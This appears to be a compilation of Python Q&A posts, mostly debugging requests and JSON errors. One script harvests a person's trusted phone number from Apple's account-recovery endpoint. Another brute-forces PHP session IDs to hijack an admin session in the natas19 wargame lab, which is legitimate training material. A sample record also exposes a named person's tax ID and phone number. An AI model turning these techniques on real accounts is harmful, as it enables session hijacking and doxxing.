I have the following in a script:
import requests
from json import loads
s = requests.Session()
r = s.get("https://iforgot.apple.com/password/verify/appleid", headers=headers)
headers['Sstt'] = loads([line for line in r.text.split("\n") if "sstt" in line][0])["sstt"]
headers['Content-Type'] = "application/json"
data = f'{{"id":"{email}"}}'
r = s.post("https://iforgot.apple.com/password/verify/appleid", data=data, headers=headers, allow_redirects=False).headers['Location']
headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'
r = s.get(f"https://iforgot.apple.com{r}", headers=headers, allow_redirects=False).json()['trustedPhones'][0]
c = r['countryCode']
n = r['numberWithDialCode']
Whenever I run this, I receive this error:
File "/home/user/xsint/modules/apple.py", line 10, in apple
headers['Sstt'] = loads([line for line in r.text.split("\n") if "sstt" in line][0])["sstt"]
File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.7/json/decoder.py", line 340, in decode
raise JSONDecodeError("Extra data", s, end)
json.decoder.JSONDecodeError: Extra data: line 1 column 10 (char 9)
But the thing that I really can't figure out is if I run each of these commands in a Python 3 console they work. Does anyone see what the problem is?
[EDITED]
You have more than one data in your json, and json.loads() is not able to decode more than one.
check below line
headers['Sstt'] = loads([line for line in r.text.split("\n") if "sstt" in line][0])["sstt"]
it must be not a json format change to something like
{
"key" :[value, value]
}
and it should work,
Python json.loads shows ValueError: Extra data
First, I think line 10 and 12 is incomplete?
LINE 10 : data, headers=headers, all$
LINE 12 : json()['trus$
Second, it will be more helpful with more error message.
Related
So the issue is with this code.
import requests
import string
import binascii
import codecs
url="http://natas19.natas.labs.overthewire.org/"
user="natas19"
passwd="8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
cookie=dict(PHPSESSID="0")
test="{}-admin"
for i in range(0,641):
with requests.Session() as sesh:
encoded=binascii.hexlify(bytes(test.format(i),"utf-8"))
print("Trying: " + str(i) + "-admin")
print(encoded)
cookie=dict(PHPSESSID=encoded)
sesh.post(url,auth=(user,passwd),cookies=cookie)
r=sesh.get(url,auth=(user,passwd)).content
print(r)
print(sesh.cookies.get_dict())
if "You are an admin." in str(r):
print("Success! Admin website:\n" + str(sesh.get(url,auth=(user,passwd)).content))
break;
else:
print("Failed.")
The hexlify returns a value like b'302d61646d696e', but the post later on considers it a string for some reason:
Trying: 0-admin
b'302d61646d696e'
Traceback (most recent call last):
File "C:/Users/jakub/Desktop/natas19.py", line 17, in <module>
sesh.post(url,auth=(user,passwd),cookies=cookie)
File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 635, in post
return self.request("POST", url, data=data, json=json, **kwargs)
File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 573, in request
prep = self.prepare_request(req)
File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 471, in prepare_request
cookies = cookiejar_from_dict(cookies)
File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 537, in cookiejar_from_dict
cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))
File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 352, in set_cookie
and cookie.value.startswith('"')
TypeError: startswith first arg must be bytes or a tuple of bytes, not str
If I decode the hexlify result instead then the code runs, but without sending the cookie. Please help and thank you in advance!
Try to put .decode('utf-8') at the end of encoded=:
import requests
url = "http://natas19.natas.labs.overthewire.org/"
user = "natas19"
passwd = "8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
cookie = dict(PHPSESSID="0")
test = "{}-admin"
for i in range(0, 641):
with requests.Session() as sesh:
encoded = binascii.hexlify(bytes(test.format(i), "utf-8")).decode('utf-8') # <-- put decode() here!
print("Trying: " + str(i) + "-admin")
print(encoded)
cookie = dict(PHPSESSID=encoded)
sesh.post(url, auth=(user, passwd), cookies=cookie)
r = sesh.get(url, auth=(user, passwd)).content
print(r)
print(sesh.cookies.get_dict())
if "You are an admin." in str(r):
print(
"Success! Admin website:\n"
+ str(sesh.get(url, auth=(user, passwd)).content)
)
break
else:
print("Failed.")
I'm trying to access the Feedly API to collect and share articles automatically to a Facebook group. So far, I haven't even able to figure out how to use the Feedly API wrapper located here: https://github.com/zgw21cn/FeedlyClient
from feedlyclient import FeedlyClient
# Feedly
feedaccess = "removed"
myfeedId = "removed"
con = FeedlyClient()
con.get_feed_content(feedaccess,myfeedId,False,10000)
parsed = json.loads(con)
print json.dumps(parsed)
Terminal
PS D:\Python Projects\Python 2\fbauto> & python "d:/Python Projects/Python 2/fbauto/feedlytest.py"
Traceback (most recent call last):
File "d:/Python Projects/Python 2/fbauto/feedlytest.py", line 8, in <module>
con = FeedlyClient.get_feed_content(feedaccess,myfeedId,False,10000)
TypeError: unbound method get_feed_content() must be called with FeedlyClient instance as first argument (got str instance instead)
PS D:\Python Projects\Python 2\fbauto> & python "d:/Python Projects/Python 2/fbauto/feedlytest.py"
Traceback (most recent call last):
File "d:/Python Projects/Python 2/fbauto/feedlytest.py", line 9, in <module>
con.get_feed_content(feedaccess,myfeedId,False,10000)
File "d:\Python Projects\Python 2\fbauto\feedlyclient.py", line 75, in get_feed_content
return res.json()
File "C:\Python27\lib\site-packages\requests\models.py", line 892, in json
return complexjson.loads(self.text, **kwargs)
File "C:\Python27\lib\json\__init__.py", line 339, in loads
return _default_decoder.decode(s)
File "C:\Python27\lib\json\decoder.py", line 364, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python27\lib\json\decoder.py", line 382, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
Please help.
SECOND ATTEMPT
import json
import requests
# Feedly
feedaccess = "REMOVED"
myfeedid = "user/REMOVED/category/tutorial"
def get_feed_content(unreadOnly=None, newerThan=None, count="10",
continuation=None,
ranked=None):
"""
return contents of a feed
:param access_token:
:param streamId:
:param unreadOnly:
:param newerThan:
:param count:
:param continuation:
:param ranked:
:return:
"""
headers = {'Authorization': 'OAuth ' + feedaccess}
quest_url = ('http://cloud.feedly.com/v3/streams/contents')
params = dict(streamId=myfeedid)
# Optional parameters
if unreadOnly is not None:
params['unreadOnly'] = unreadOnly
if newerThan is not None:
params['newerThan'] = newerThan
if count is not None:
params['count'] = count
if continuation is not None:
params['continuation'] = continuation
if ranked is not None:
params['ranked'] = ranked
res = requests.get(url=quest_url, params=params, headers=headers)
return res.json()
con = get_feed_content()
print json.dumps(con , indent=4)
TERMINAL
{
"items": [],
"id": "user/REMOVED/category/tutorial"
}
Just returns my user credentials. Feedly documentation says I can use category as stream ID. https://developer.feedly.com/v3/streams/
THIRD ATTEMPT
import json
import requests
from client import FeedlyClient
# Feedly
feedaccess = "REMOVED"
myfeedid = "user/REMOVED/category/tutorial"
feedcount = "20"
myurl = "http://cloud.feedly.com/v3/streams/contents?streamId=" + myfeedid + "&count=" + feedcount
headers = {'Authorization': 'OAuth ' + feedaccess}
res = requests.get(url=myurl, headers=headers)
con = res.json()
print json.dumps(con , indent=4)
SAME TERMINAL RESPONSE
The third attempt worked. There was a capitalization in my category name. It should be Tutorial not tutorial. Please see original post for code.
I'm trying to load the following JSON string in python:
{
"Motivo_da_Venda_Perdida":"",
"Data_Visita":"2015-03-17 08:09:55",
"Cliente":{
"Distribuidor1_Modelo":"",
"RG":"",
"Distribuidor1_Marca":"Selecione",
"PlataformaMilho1_Quantidade":"",
"Telefone_Fazenda":"",
"Pulverizador1_Quantidade":"",
"Endereco_Fazenda":"",
"Nome_Fazenda":"",
"Area_Total_Fazenda":"",
"PlataformaMilho1_Marca":"Selecione",
"Trator1_Modelo":"",
"Tipo_Cultura3":"Selecione",
"Tipo_Cultura4":"Selecione",
"Cultura2_Hectares":"",
"Colheitadeira1_Quantidade":"",
"Tipo_Cultura1":"Soja",
"Tipo_Cultura2":"Selecione",
"Plantadeira1_Marca":"Stara",
"Autopropelido1_Modelo":"",
"Email_Fazenda":"",
"Autopropelido1_Marca":"Stara",
"Distribuidor1_Quantidade":"",
"PlataformaMilho1_Modelo":"",
"Trator1_Marca":"Jonh deere",
"Email":"",
"CPF":"46621644000",
"Endereco_Rua":"PAQUINHAS, S/N",
"Caixa_Postal_Fazenda":"",
"Cidade_Fazenda":"",
"Plantadeira1_Quantidade":"",
"Colheitadeira1_Marca":"New holland",
"Data_Nascimento":"2015-02-20",
"Cultura4_Hectares":"",
"Nome_Cliente":"MILTON CASTIONE",
"Cep_Fazenda":"",
"Telefone":"5491290687",
"Cultura3_Hectares":"",
"Trator1_Quantidade":"",
"Cultura1_Hectares":"",
"Autopropelido1_Quantidade":"",
"Pulverizador1_Modelo":"",
"Caixa_Postal":"",
"Estado":"RS",
"Endereco_Numero":"",
"Cidade":"COLORADO",
"Colheitadeira1_Modelo":"",
"Pulverizador1_Marca":"Selecione",
"CEP":"99460000",
"Inscricao_Estadual":"0",
"Plantadeira1_Modelo":"",
"Estado_Fazenda":"RS",
"Bairro":""
},
"Quilometragem":"00",
"Modelo_Pretendido":"Selecione",
"Quantidade_Prevista_Aquisicao":"",
"Id_Revenda":"1",
"Contato":"05491290687",
"Pendencia_Para_Proxima_Visita":"",
"Data_Proxima_Visita":"2015-04-17 08:09:55",
"Valor_de_Venda":"",
"Maquina_Usada":"0",
"Id_Vendedor":"2",
"Propensao_Compra":"Propensao_Compra_Frio",
"Comentarios":"despertar compra",
"Sistema_Compra":"Sistema_Compra_Finame",
"Outro_Produto":"",
"Data_Prevista_Aquisicao":"2015-04-17 08:09:55",
"Objetivo_Visita":"Despertar_Interesse",
"Tipo_Contato":"Telefonico"}
however I get the following error when I try to load it
File "python_file.py", line 107, in busca_proxima_mensagem
Visita = json.loads(corpo)
File "/usr/lib/python2.7/json/__init__.py", line 338, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.7/json/decoder.py", line 369, in decode
raise ValueError(errmsg("Extra data", s, end, len(s)))
ValueError: Extra data: line 1 column 2 - line 6 column 84 (char 1 - 1020)
but this JSON seems to be valid according to this site: http://jsonformatter.curiousconcept.com/ What am I doing wrong? Why can't I load this string as a JSON object?
I'm trying to load the string from AWS SQS like this:
import json
...
result = fila.get_messages(1, 30, 'SentTimestamp')
for message in result:
corpo = message.get_body()
Visita = json.loads(corpo)
OK, so I figured out what is causing me problems: There is a slash as a value of a key
"Endereco_Rua":"PAQUINHAS, S/N",
However I'm telling python to filter that out (code below), but it's not working. How can I remove that? Can do it on the origin that created the data, as I don't have access to the interface the user uses to fill in.
result = fila.get_messages(1, 30, 'SentTimestamp')
for message in result:
corpo = message.get_body()
corpo = corpo.replace("/", "") #Filtering slashes
Visita = json.loads(corpo)
Found a solution! Beside the slash caracter, sometimes this error also happened with no visible cause. Ended up solving this by adding the following lines in my python code:
1) At the start of my code, along with other python imports
from boto.sqs.message import RawMessage
2) Changing my SQS queue to use/fetch raw data:
fila = sqs_conn.get_queue(constantes.fila_SQS)
fila.set_message_class(RawMessage)
Hope this helps anyone who is having the same issue.
I am trying to send a screenshot over a network via Python Wx. I am able to take a screenshot and save it to the filesystem, but I do not want to save it. I want to get the Base 64 code and send it without saving.
Here is my current attempt:
#!/usr/bin/env python
import requests
import socket
import time
import wx
import base64
def checkServer():
sesh = requests.session()
app = wx.App(False)
while True:
s = wx.ScreenDC()
w, h = s.Size.Get()
b = wx.EmptyBitmap(w, h)
m = wx.MemoryDCFromDC(s)
m.SelectObject(b)
m.Blit(0, 0, w, h, s, 0, 0)
m.SelectObject(wx.NullBitmap)
#outputs: <wx._gdi.Bitmap; proxy of <Swig Object of type 'wxBitmap *' at 0x2001640> >
#print b
#Does NOT Work, outputs: TypeError: must be convertible to a buffer, not Bitmap
#base64img = base64.b64encode(b)
# Works, but not what I want to do
#b.SaveFile("screenshot.png", wx.BITMAP_TYPE_PNG)
hostname = socket.gethostname()
url = 'http://localhost/callcenter/monitor/post.php'
payload = {
'host' : hostname,
#'image' : base64img
}
headers = {
'Connection' : "keep-alive",
'Content-Type' : "application/x-www-form-urlencoded"
}
r = sesh.post(url, data=payload, headers=headers, allow_redirects=False, verify=False)
content = r.text
print content
time.sleep(5)
checkServer()
How can I get the Base 64 code in a string from the bitmap b?
EDIT
I also tried:
buf=io.BytesIO()
b.CopyToBuffer(buf)
base64img = base64.b64encode(buf)
print base64img
and got this:
File "./main.py", line 51, in <module>
checkServer()
File "./main.py", line 29, in checkServer
b.CopyToBuffer(buf)
File "/usr/lib/python2.7/dist-packages/wx-2.8-gtk2-unicode/wx/_gdi.py", line 740, in CopyToBuffer
return _gdi_.Bitmap_CopyToBuffer(*args, **kwargs)
TypeError: expected a readable buffer object
Edit 2
Tried this:
buf=bytearray()
b.CopyToBuffer(buf)
base64img = base64.b64encode(buf)
print base64img
And got something different this time:
Traceback (most recent call last):
File "./main.py", line 51, in <module>
checkServer()
File "./main.py", line 29, in checkServer
b.CopyToBuffer(buf)
File "/usr/lib/python2.7/dist-packages/wx-2.8-gtk2-unicode/wx/_gdi.py", line 740, in CopyToBuffer
return _gdi_.Bitmap_CopyToBuffer(*args, **kwargs)
ValueError: Invalid data buffer size.
You could try this:
base64img = base64.b64encode(b.ConvertToImage().GetData())
I am new to Python and trying to my script to send the output of this command 'ibeacon_scan -b' to be sent to a web server by query string or any other efficient way to send data continuously. Here is what the output looks like for 'ibeacon_scan -b'
iBeacon Scan ...
3F234454-CFD-4A0FF-ADF2-F4911BA9FFA6 1 4 -71 -69
3F234454-CFD-4A0FF-ADF2-F4911BA9FFA6 6 2 -71 -63
3F234454-CFD-4A0FF-ADF2-F4911BA9FFA6 1 4 -71 -69
3F234454-CFD-4A0FF-ADF2-F4911BA9FFA6 5 7 -71 -64
...keeps updating
I am piping the command to my Python script
ibeacon scan -b | stdin.py
Here is my code for the my script 'stdin.py'
#!/usr/bin/python
import fileinput
import httplib
import urllib
for line in fileinput.input():
urllib.urlencode({"UUID": {"Major":{"Minor":RSSI}}})
headers = {"Content-type": "application/x-www-formurlencoded","Accept": "text/plain"}
conn = httplib.HTTPConnection("67.205.14.22")
conn.request("POST", "post.php", params, headers)
response = conn.getrespone()
print response.status, respone.reason
data = respone.read()
print data
conn.close()
I'm getting these errors.
Traceback (most recent call last):
File "./stdin.py", line 7, in <module>
for line in fileinput.input():
File "/usr/lib/python2.7/fileinput.py", line 253, in next
line = self.readline()
File "/usr/lib/python2.7/fileinput.py", line 346, in readline
self._buffer = self._file.readlines(self._bufsize)
KeyboardInterrupt
Is my script even getting the data correctly from the pipe? Is the formatting correct for the query string?
As #TheSoundDefense pointed, it must be some KeyboardInterrupt character in the ibeacon's output:
A fast check shows that piping in linux actually works:
>>> cat tmp.txt | python -c "import fileinput; print [line for line in fileinput.input()]"
['a\n', 'b\n', 'c\n', 'd\n']
Where tmp.txt contains 4 lines with a, b, c and d.
Do you need to have it pipe in? Because if not, you can do something like this all in your python script (thanks oliver13 for the idea):
popen = subprocess.Popen(["ibeacon scan -b"], stdout=subprocess.PIPE)
for line in iter(popen.stdout.readline, ""):
urllib.urlencode({"UUID": {"Major":{"Minor":RSSI}}})
headers = {"Content-type": "application/x-www-formurlencoded","Accept": "text/plain"}
conn = httplib.HTTPConnection("67.205.14.22")
conn.request("POST", "post.php", params, headers)
response = conn.getrespone()
print response.status, respone.reason
data = respone.read()
print data
conn.close()